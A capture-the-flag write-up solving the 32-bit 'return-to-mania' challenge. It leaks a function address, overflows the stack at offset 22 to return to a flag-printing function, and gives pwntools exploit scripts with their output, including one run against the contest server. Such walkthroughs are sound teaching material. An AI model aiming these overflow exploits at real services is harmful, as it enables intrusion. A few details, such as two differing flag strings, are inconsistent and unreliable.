

PWN CHALLENGE:

Return to mania

This was a 32 bit binary so IDA Free wasn't very helpful. I used gdb instead. Here are the specifications of Return to mania(as given by the admins of the CTF challenge).

```
return-to-mania: ELF 32-bit LSB pie executable Intel 80386
```

The first step I followed was to run the **strings** command on the binary to check for different strings that might give me a few insights on how to solve the problem.

```
Search your computer
adeensy@ubuntu: ~/Desktop$ strings return-to-mania
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
fopen
perror
__isoc99_scanf
puts
printf
fgets
fclose
__cxa_finalize
__libc_start_main
GLIBC_2.7
GLIBC_2.1.3
GLIBC_2.1
GLIBC_2.0
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
UWVS
[^_]
WELCOME TO THE RING!
flag.txt
```

```
Welcome to WrestleMania! Type in key to get access.  
addr of welcome(): %p  
Sadly, as a result Captn Overflow won't be entering the ring yet...  
;*2$"  
GCC: (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0  
crtstuff.c  
deregister_tm_clones  
__do_global_dtors_aux  
completed.7281  
__do_global_dtors_aux_fini_array_entry  
frame_dummy  
__frame_dummy_init_array_entry  
return-to-mania.c  
__FRAME_END__  
__init_array_end  
__DYNAMIC  
__init_array_start  
__GNU_EH_FRAME_HDR  
__GLOBAL_OFFSET_TABLE__  
__libc_csu_fini  
_ITM_deregisterTMCloneTable  
__x86.get_pc_thunk.bx  
printf@@GLIBC_2.0
```

```
__cxa_finalize@@GLIBC_2.1.3  
perror@@GLIBC_2.0  
__data_start  
puts@@GLIBC_2.0  
__gmon_start__  
welcome  
__dso_handle  
_IO_stdin_used  
__libc_start_main@@GLIBC_2.0  
__libc_csu_init  
fopen@@GLIBC_2.1  
_fp_hw  
__bss_start  
main  
mania  
__isoc99_scanf@@GLIBC_2.7  
__TMC_END__  
_ITM_registerTMCloneTable  
.symtab  
.strtab  
.shstrtab  
.interp  
.note.ABI-tag  
.note.gnu.build-id
```



```

gdb-peda$ r
Starting program: /home/adeenayub/Desktop/return-to-mania
Welcome to WrestleMania! Type in key to get access.
addr of welcome(): 0x565556ed
AAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.

[-----registers-----]
EAX: 0x56555834 ("ome to WrestleMania! Type in key to get access.")
EBX: 0x565556b00 --> 0x6ffffff0
ECX: 0x1
EDX: 0xf7fb987c --> 0x0
ESI: 0xf7fb8000 --> 0x1b1db0
EDI: 0xf7fb8000 --> 0x1b1db0
EBP: 0xffffcf68 --> 0x0
ESP: 0xffffcf4c ("tWUV4XUV")
EIP: 0x0
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
)

```

I then disassembled a few functions like 'main', 'welcome' to look for /bin/sh but didn't find it. I even tried disassembling 'give_shell' but there was no function by this name. So I used the following command to get some more information such as the functions present in the binary file.

readelf -s return-to-mania

Running this command gave me the following output.

```

adeenayub@ubuntu:~/Desktop$ readelf -s return-to-mania

Symbol table '.dynsym' contains 14 entries:
   Num:   Value              Size Type      Bind   Vis      Ndx Name
   --:   -:-
    0: 00000000             0 NOTYPE    LOCAL  DEFAULT  UND
    1: 00000000             0 NOTYPE    WEAK   DEFAULT  UND __ITM_deregisterTMCloneTab
    2: 00000000             0 FUNC      GLOBAL  DEFAULT  UND printf@GLIBC_2.0 (2)
    3: 00000000             0 FUNC      GLOBAL  DEFAULT  UND fgets@GLIBC_2.0 (2)
    4: 00000000             0 FUNC      GLOBAL  DEFAULT  UND fclose@GLIBC_2.1 (3)
    5: 00000000             0 FUNC      WEAK    DEFAULT  UND __cxa_finalize@GLIBC_2.1.3 (4)
    6: 00000000             0 FUNC      GLOBAL  DEFAULT  UND perror@GLIBC_2.0 (2)
    7: 00000000             0 FUNC      GLOBAL  DEFAULT  UND puts@GLIBC_2.0 (2)
    8: 00000000             0 NOTYPE    WEAK   DEFAULT  UND __gmon_start__
    9: 00000000             0 FUNC      GLOBAL  DEFAULT  UND __libc_start_main@GLIBC_2.0 (
2)
   10: 00000000             0 FUNC      GLOBAL  DEFAULT  UND fopen@GLIBC_2.1 (3)
   11: 00000000             0 FUNC      GLOBAL  DEFAULT  UND __isoc99_scanf@GLIBC_2.7 (5)
   12: 00000000             0 NOTYPE    WEAK   DEFAULT  UND __ITM_registerTMCloneTable
   13: 0000080c             4 OBJECT    GLOBAL  DEFAULT   16 _IO_stdin_used

Symbol table '.symtab' contains 75 entries:
   Num:   Value              Size Type      Bind   Vis      Ndx Name
   --:   -:-
    0: 00000000             0 NOTYPE    LOCAL  DEFAULT  UND

```


0:	00000000	0	NOTYPE	LOCAL	DEFAULT	UND
1:	00000134	0	SECTION	LOCAL	DEFAULT	1
2:	00000148	0	SECTION	LOCAL	DEFAULT	2
3:	00000168	0	SECTION	LOCAL	DEFAULT	3
4:	0000018c	0	SECTION	LOCAL	DEFAULT	4
5:	000001ac	0	SECTION	LOCAL	DEFAULT	5
6:	0000028c	0	SECTION	LOCAL	DEFAULT	6
7:	0000036c	0	SECTION	LOCAL	DEFAULT	7
8:	00000388	0	SECTION	LOCAL	DEFAULT	8
9:	000003d8	0	SECTION	LOCAL	DEFAULT	9
10:	00000418	0	SECTION	LOCAL	DEFAULT	10
11:	00000458	0	SECTION	LOCAL	DEFAULT	11
12:	00000480	0	SECTION	LOCAL	DEFAULT	12
13:	00000510	0	SECTION	LOCAL	DEFAULT	13
14:	00000520	0	SECTION	LOCAL	DEFAULT	14
15:	000007f4	0	SECTION	LOCAL	DEFAULT	15
16:	00000808	0	SECTION	LOCAL	DEFAULT	16
17:	000008c4	0	SECTION	LOCAL	DEFAULT	17
18:	00000908	0	SECTION	LOCAL	DEFAULT	18
19:	00001a38	0	SECTION	LOCAL	DEFAULT	19
20:	00001a3c	0	SECTION	LOCAL	DEFAULT	20
21:	00001a40	0	SECTION	LOCAL	DEFAULT	21
22:	00001b38	0	SECTION	LOCAL	DEFAULT	22
23:	00001b4c	0	SECTION	LOCAL	DEFAULT	23

24:	00001b78	0	SECTION	LOCAL	DEFAULT	24
25:	00001b80	0	SECTION	LOCAL	DEFAULT	25
26:	00000000	0	SECTION	LOCAL	DEFAULT	26
27:	00000000	0	FILE	LOCAL	DEFAULT	ABS crtstuff.c
28:	00000570	0	FUNC	LOCAL	DEFAULT	14 deregister_tm_clones
29:	000005b0	0	FUNC	LOCAL	DEFAULT	14 register_tm_clones
30:	00000600	0	FUNC	LOCAL	DEFAULT	14 __do_global_dtors_aux
31:	00001b80	1	OBJECT	LOCAL	DEFAULT	25 completed.7281
32:	00001a3c	0	OBJECT	LOCAL	DEFAULT	20 __do_global_dtors_aux_fin
33:	00000650	0	FUNC	LOCAL	DEFAULT	14 frame_dummy
34:	00001a38	0	OBJECT	LOCAL	DEFAULT	19 __frame_dummy_init_array_
35:	00000000	0	FILE	LOCAL	DEFAULT	ABS return-to-mania.c
36:	00000000	0	FILE	LOCAL	DEFAULT	ABS crtstuff.c
37:	00000a34	0	OBJECT	LOCAL	DEFAULT	18 __FRAME_END__
38:	00000000	0	FILE	LOCAL	DEFAULT	ABS
39:	00001a3c	0	NOTYPE	LOCAL	DEFAULT	19 __init_array_end
40:	00001a40	0	OBJECT	LOCAL	DEFAULT	21 __DYNAMIC
41:	00001a38	0	NOTYPE	LOCAL	DEFAULT	19 __init_array_start
42:	000008c4	0	NOTYPE	LOCAL	DEFAULT	17 __GNU_EH_FRAME_HDR
43:	00001b4c	0	OBJECT	LOCAL	DEFAULT	23 __GLOBAL_OFFSET_TABLE__
44:	000007f0	2	FUNC	GLOBAL	DEFAULT	14 __libc_csu_fini
45:	00000000	0	NOTYPE	WEAK	DEFAULT	UND __ITM_deregisterTMCloneTab
46:	00000560	4	FUNC	GLOBAL	HIDDEN	14 __x86.get_pc_thunk.bx

```

47: 00001b78      0 NOTYPE WEAK  DEFAULT 24 data_start
48: 00000000      0 FUNC    GLOBAL DEFAULT UND printf@@GLIBC_2.0
49: 00000000      0 FUNC    GLOBAL DEFAULT UND fgets@@GLIBC_2.0
50: 00001b80      0 NOTYPE GLOBAL DEFAULT 24 _edata
51: 00000000      0 FUNC    GLOBAL DEFAULT UND fclose@@GLIBC_2.1
52: 000007f4      0 FUNC    GLOBAL DEFAULT 15 _fini
53: 00000659      0 FUNC    GLOBAL HIDDEN 14 __x86.get_pc_thunk.dx
54: 00000000      0 FUNC    WEAK  DEFAULT UND __cxa_finalize@@GLIBC_2.1
55: 00000000      0 FUNC    GLOBAL DEFAULT UND perror@@GLIBC_2.0
56: 00001b78      0 NOTYPE GLOBAL DEFAULT 24 __data_start
57: 00000000      0 FUNC    GLOBAL DEFAULT UND puts@@GLIBC_2.0
58: 00000000      0 NOTYPE WEAK  DEFAULT UND __gmon_start__
59: 000006ed     89 FUNC    GLOBAL DEFAULT 14 welcome
60: 00001b7c      0 OBJECT GLOBAL HIDDEN 24 __dso_handle
61: 0000080c      4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
62: 00000000      0 FUNC    GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
63: 00000790     93 FUNC    GLOBAL DEFAULT 14 __libc_csu_init
64: 00000000      0 FUNC    GLOBAL DEFAULT UND fopen@@GLIBC_2.1
65: 00001b84      0 NOTYPE GLOBAL DEFAULT 25 _end
66: 00000520      0 FUNC    GLOBAL DEFAULT 14 _start
67: 00000808      4 OBJECT GLOBAL DEFAULT 16 _fp_hw
68: 00001b80      0 NOTYPE GLOBAL DEFAULT 25 __bss_start
69: 00000746     64 FUNC    GLOBAL DEFAULT 14 main
70: 0000065d    144 FUNC    GLOBAL DEFAULT 14 mania

71: 00000000      0 FUNC    GLOBAL DEFAULT UND __isoc99_scanf@@GLIBC_2.7
72: 00001b80      0 OBJECT GLOBAL HIDDEN 24 __TMC_END__
73: 00000000      0 NOTYPE WEAK  DEFAULT UND _ITM_registerTMCloneTable
74: 00000458      0 FUNC    GLOBAL DEFAULT 11 _init
adeenayub@ubuntu:~/Desktop$

```

Using this information, I came to know of another function 'mania'(highlighted above). So going back to what the challenge's name was, I guessed I had to **'return to mania'**.

I disassembled 'mania' and found it was all about file handling. It opened a file, read it and then closed it. Finally, it prints the contents of the file onto the screen.


```

gdb-peda$ disassemble mania
Dump of assembler code for function mania:
0x5655565d <+0>:    push    ebp
0x5655565e <+1>:    mov     ebp,esp
0x56555660 <+3>:    push    ebx
0x56555661 <+4>:    sub     esp,0x34
0x56555664 <+7>:    call    0x56555560 <__x86.get_pc_thunk.bx>
0x56555669 <+12>:   add     ebx,0x14e3
0x5655566f <+18>:   sub     esp,0xc
0x56555672 <+21>:   lea     eax,[ebx-0x133c]
0x56555678 <+27>:   push    eax
0x56555679 <+28>:   call    0x565554d0 <puts@plt>
0x5655567e <+33>:   add     esp,0x10
0x56555681 <+36>:   sub     esp,0x8
0x56555684 <+39>:   lea     eax,[ebx-0x1327]
0x5655568a <+45>:   push    eax
0x5655568b <+46>:   lea     eax,[ebx-0x1325]
0x56555691 <+52>:   push    eax
0x56555692 <+53>:   call    0x565554f0 <fopen@plt>
0x56555697 <+58>:   add     esp,0x10
0x5655569a <+61>:   mov     DWORD PTR [ebp-0xc],eax
0x5655569d <+64>:   cmp     DWORD PTR [ebp-0xc],0x0
0x565556a1 <+68>:   jne     0x565556b7 <mania+90>

0x565556ac <+79>:   push    eax
0x565556ad <+80>:   call    0x565554c0 <perror@plt>
0x565556b2 <+85>:   add     esp,0x10
0x565556b5 <+88>:   jmp     0x565556e8 <mania+139>
0x565556b7 <+90>:   sub     esp,0x4
0x565556ba <+93>:   push    DWORD PTR [ebp-0xc]
0x565556bd <+96>:   push    0x28
0x565556bf <+98>:   lea     eax,[ebp-0x34]
0x565556c2 <+101>:  push    eax
0x565556c3 <+102>:  call    0x565554a0 <fgets@plt>
0x565556c8 <+107>:  add     esp,0x10
0x565556cb <+110>:  sub     esp,0xc
0x565556ce <+113>:  push    DWORD PTR [ebp-0xc]
0x565556d1 <+116>:  call    0x565554b0 <fclose@plt>
0x565556d6 <+121>:  add     esp,0x10
0x565556d9 <+124>:  sub     esp,0xc
0x565556dc <+127>:  lea     eax,[ebp-0x34]
0x565556df <+130>:  push    eax
0x565556e0 <+131>:  call    0x565554d0 <puts@plt>
0x565556e5 <+136>:  add     esp,0x10
0x565556e8 <+139>:  mov     ebx,DWORD PTR [ebp-0x4]
0x565556eb <+142>:  leave
0x565556ec <+143>:  ret
End of assembler dump.

```

→ print on screen

So I almost got my hint. The challenge's name suggested me to 'return to mania' where the function would open the relevant file, read it, close it and then print its contents which was probably the flag. Also, i recalled that the strings command gave me a string, "flag.txt" which was right below the string "WELCOME TO THE RING" so I was pretty sure this was the file being talked about.

```
WELCOME TO THE RING!  
flag.txt
```

The overflow occurs at 14th byte. For all inputs less than length 14, we get the following output.

```
gdb-peda$ r  
Starting program: /home/adeenayub/Desktop/return-to-mania  
Welcome to WrestleMania! Type in key to get access.  
addr of welcome(): 0x565556ed  
AAAAAAAAAAAAAA  
Sadly, as a result Capt'n Overflow won't be entering the ring yet...  
[Inferior 1 (process 7161) exited normally]  
Warning: not running  
gdb-peda$
```

So in order for Captain Overflow to 'overflow' the buffer, she has to enter more than 13 bytes and determine at which byte she can gain control of EIP. Captain Overflow determined that she can fill the register EBX on entering more than 14 bytes which means bytes 15 to 18 occupy the EBX register.

```
[ REGISTERS ]  
EAX 0x41412e75 ('u.AA')  
EBX 0x41414141 ('AAAA')  
ECX 0x1  
EDX 0xf7fb987c (_IO_stdfile_0_lock) ← 0x0  
EDI 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ← 0x1b1db0  
ESI 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ← 0x1b1db0  
EBP 0xffffcf00 → 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ← 0x1b1db0  
ESP 0xffffcf4c → 0x56555774 (main+46) ← add esp, 0x10  
EIP 0x565554d0 (puts@plt) ← jmp dword ptr [ebx + 0x1c]  
[ DISASM ]  
► 0x565554d0 <puts@plt> jmp dword ptr [ebx + 0x1c]  
  
0x565554d6 <puts@plt+6> push 0x20  
0x565554db <puts@plt+11> jmp 0x56555480  
↓  
0x56555480 push dword ptr [ebx + 4]
```

But Captain Overflow wanted to take control of EIP so she entered 4 more bytes than the previous step and determined that the next 4 were occupied by EBP register.


```

[ REGISTERS ]
EAX 0x1
EBX 0x41414141 ('AAAA')
ECX 0x1
EDX 0xf7fb987c (_IO_stdfile_0_lock) ← 0x0
EDI 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ← 0x1b1db0
ESI 0xf7fb8000 (_GLOBAL_OFFSET_TABLE_) ← 0x1b1db0
EBP 0x41414141 ('AAAA')
ESP 0xffffcf60 → 0xffffcf80 ← 0x1
EIP 0x56555700 (welcome+19) ← in al, dx

[ DISASM ]
► 0x56555700 <welcome+19> in al, dx
0x56555701 <welcome+20> or al, 0x8d
0x56555703 <welcome+22> and esp, 0xffffffffec

```

Captain Overflow knew she was close so she entered 4 more bytes again(22+4=26) and finally got hold of the instruction pointer(i.e EIP).

```

Welcome to WrestleMania! Type in key to get access.
addr of welcome(): 0x565556ed
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.

[-----registers-----]
EAX: 0x1
EBX: 0x41414141 ('AAAA')
ECX: 0x1
EDX: 0xf7fb987c --> 0x0
ESI: 0xf7fb8000 --> 0x1b1db0
EDI: 0xf7fb8000 --> 0x1b1db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcf60 --> 0xffffcf00 --> 0xf7fb8000 --> 0x1b1db0
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

[-----code-----]
Invalid $PC address: 0x41414141

[-----stack-----]

```

Hence, Captain Overflow realized that in order to return to 'mania', she simply had to input garbage for the first 22 bytes and the address of 'mania' for the next 4 bytes.

Captain Overflow tried everything locally first. She saved a file, 'flag.txt' with a pseudo flag inside and ran the program. She also disabled ASLR for the time being. She ran the following script and got the flag saved on her local machine.

```

from pwn import*
#e = ELF('./return-to-mania')
p = process('./return-to-mania')
nop1 = asm(shellcraft.nop())
p.recv()
gdb.attach(p)
#p.sendline("A"*22)
p.sendline(nop1*22 + p32(0x5655565d))
p.interactive()

```

Running the above script worked since she had entered the address of the function 'mania'.

```

adeenayub@ubuntu:~/Desktop$ python3 retm.py
[+] Starting program './return-to-mania': Done
[ERROR] Neither 'qemu-i386' nor 'qemu-i386-static' are available
[!] Disable ptrace_scope to attach to running processes.
    More info: https://askubuntu.com/q/41629
[*] Switching to interactive mode
WELCOME TO THE RING!
flag{Alhamdulillah, the sun shines}

[*] Got EOF while reading in interactive
$

```

But Captain Overflow's method of hardcoding the address won't work on the remote machine since the addresses are not known and are random everytime the executable runs.

So now she needed to come up with a method of returning to mania without hardcoding the address. She recalled that on running the program remotely, she gets to see the address of 'welcome' function so she could make use of that. She ran the following command again.

readelf -s return-to-mania

And determined that 'mania' is at the address 0x0000065d where as 'welcome' is at 0x000006ed.

```

57: 00000000      0 FUNC    GLOBAL DEFAULT UND puts@@GLIBC_2.0
58: 00000000      0 NOTYPE  WEAK    DEFAULT UND __gmon_start__
59: 000006ed     89 FUNC    GLOBAL DEFAULT 14 welcome
60: 00001b7c      0 OBJECT  GLOBAL HIDDEN 24 __dso_handle
61: 0000080c      4 OBJECT  GLOBAL DEFAULT 16 __IO_stdin_used
62: 00000000      0 FUNC    GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
63: 00000790     93 FUNC    GLOBAL DEFAULT 14 __libc_csu_init
64: 00000000      0 FUNC    GLOBAL DEFAULT UND fopen@@GLIBC_2.1
65: 00001b84      0 NOTYPE  GLOBAL DEFAULT 25 __end
66: 00000520      0 FUNC    GLOBAL DEFAULT 14 __start
67: 00000808      4 OBJECT  GLOBAL DEFAULT 16 __fp_hw
68: 00001b80      0 NOTYPE  GLOBAL DEFAULT 25 __bss_start
69: 00000746     64 FUNC    GLOBAL DEFAULT 14 main
70: 0000065d    144 FUNC    GLOBAL DEFAULT 14 mania
71: 00000000      0 FUNC    GLOBAL DEFAULT UND __isoc99_scanf@@GLIBC_2.7
72: 00001b80      0 OBJECT  GLOBAL HIDDEN 24 __TMC_END__
73: 00000000      0 NOTYPE  WEAK    DEFAULT UND __ITM_registerTMCloneTable
74: 00000458      0 FUNC    GLOBAL DEFAULT 11 __init
adeenayub@ubuntu:~/Desktop$

```

Hence, 'mania' is 144 places below 'welcome'. So Captain Overflow changed her script for remote shell and got the actual flag.

```

from pwn import*
e = ELF('./return-to-mania')
p = remote('archive.sunshinectf.org', 19001 )
nop1 = asm(shellcraft.nop())
p.recvuntil(': ')
#gdb.attach(p)
addr = p.recv()
addr = int(addr, 16)
p.sendline(nop1*0x16 + p32(addr-144))
p.interactive()

```

Flag is as follows. **sun{0V3rf10w_rUn_w!Ld_br0th3r}**


```
adeenayub@ubuntu:~/Desktop$ python3 rtm.py
[*] '/home/adeenayub/Desktop/return-to-mania'
  Arch:      i386-32-little
  RELRO:     No RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       PIE enabled
[+] Opening connection to archive.sunshinectf.org on port 19001: Done
[*] Switching to interactive mode
WELCOME TO THE RING!
sun{0V3rfl0w_rUn_w!Ld_br0th3r}

[*] Got EOF while reading in interactive
$
```